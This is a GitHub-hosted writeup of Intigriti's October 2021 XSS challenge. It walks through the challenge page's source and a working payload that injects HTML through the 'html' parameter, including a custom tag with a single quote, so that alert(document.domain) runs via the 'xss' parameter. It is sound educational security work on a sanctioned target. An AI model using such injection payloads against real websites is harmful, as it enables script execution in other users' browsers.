aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

Writeup: Intigriti’s October XSS challenge By @0xTib3rius #43

Open aszx87410 opened 2 years ago

aszx87410 commented 2 years ago

Challenge link: https://challenge-1021.intigriti.io/

Source code

Removed styles and bats svg, sorry bats!


<html lang="en">
  <head>
    <title>BOOOOOOO!</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
    />

  </head>
  <body id="body">
  <div class="wrapper"">
    <div class=" bat-overlay">

    </div>

      <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
    <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">
      window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
          l = c.lastElementChild;
          i = l.innerHTML.trim();
          f = i.substr(i.length - 4);
          e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
      });
    </script>
  </div>
    <!-- !!! -->
      <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
    <!-- !!! -->
    <div class="a">'"</div>
  </body>
  <div id="container">
      <span>I</span>
      <span id="extra-flicker">N</span>
      <span>T</span>
      <span>I</span>
      <div id="broken">
          <span id="y">G</span>
      </div>
      <span>R</span>
      <div id="broken">
          <span id="y">I</span>
      </div>
      <span>T</span>
      <span>I</span>
  </div>
</html>

Analysis

There are two important parts:

window.addEventListener("DOMContentLoaded", function () {
  e = `)]}'` + new URL(location.href).searchParams.get("xss");
  c = document.getElementById("body").lastElementChild;
  if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
  }
  let s = document.createElement("script");
  s.type = "text/javascript";
  s.appendChild(document.createTextNode(e));
  document.body.appendChild(s);
});

and

<!-- !!! -->
  <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>

For first part, we need to let e to be a valid JS code. In order to achieve that, we need c.id === "intigriti" be true so we can add string before )]}'

It's obviously the string we want to prepend to e should have ', so e become something like 'xxx)]}' which is just a JS string, and then we use xss to append ;alert(document.domain) to trigger XSS.

So, the question is, how do we control f and put a single quote in it?

First, document.getElementById("body").lastElementChild; should have id intigriti, but last element is <div id="container"> for now, what should we do?

We can use ?html to inject arbitrary HTML code to have a un-closed div, like this:

?html=</h1></div><div id="intigriti"><div>

part of response(I modified the format a little bit and add comment to make it more readable):

<!-- !!! -->
<div id="html" class="text">
  <!-- we clode h1 and id=html div via </h1></div> -->
  <h1 class="light"></h1> 
</div>

<!-- we create a new div with id intigriti, which has no matching </div> -->
<div id="intigriti">
  <!-- we create another div to "consume" a </div> -->
  <div></div>
  <!-- !!! -->
  <div class="a">'"</div>
  </body>
  <div id="container">
    <span>I</span>
    <span id="extra-flicker">N</span>
    <span>T</span>
    <span>I</span>
    <div id="broken">
        <span id="y">G</span>
    </div>
    <span>R</span>
    <div id="broken">
        <span id="y">I</span>
    </div>
    <span>T</span>
    <span>I</span>
  </div>

DOM:

We successfully create a <div id="intigriti"> to wrap all the elements, make if (c.id === "intigriti") { to be true.

What's next? Let's take a look at the snippet below:

if (c.id === "intigriti") {
  l = c.lastElementChild;
  i = l.innerHTML.trim();
  f = i.substr(i.length - 4);
  e = f + e;
}

For now, c.lastElementChild is <div id="container">, so f is pan>.

Our mission is to control c.lastElementChild and let last 4 character of innerHTML to be 'xxx(x stands for any characters).

I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".

After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is element itself.

For example, if last element is something like this:

<div>
  <a'bc>
      whatever
  </a'bc>
</div>

Then innerHTML is:

<a'bc>
  whatever
</a'bc>

Last 4 characters is 'bc>, exactly what we want! We don't need to insert an element after <div id=container> , we just create a custom tag with single quote and wrap it, that's all!

So, here is the payload:

https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>

DOM: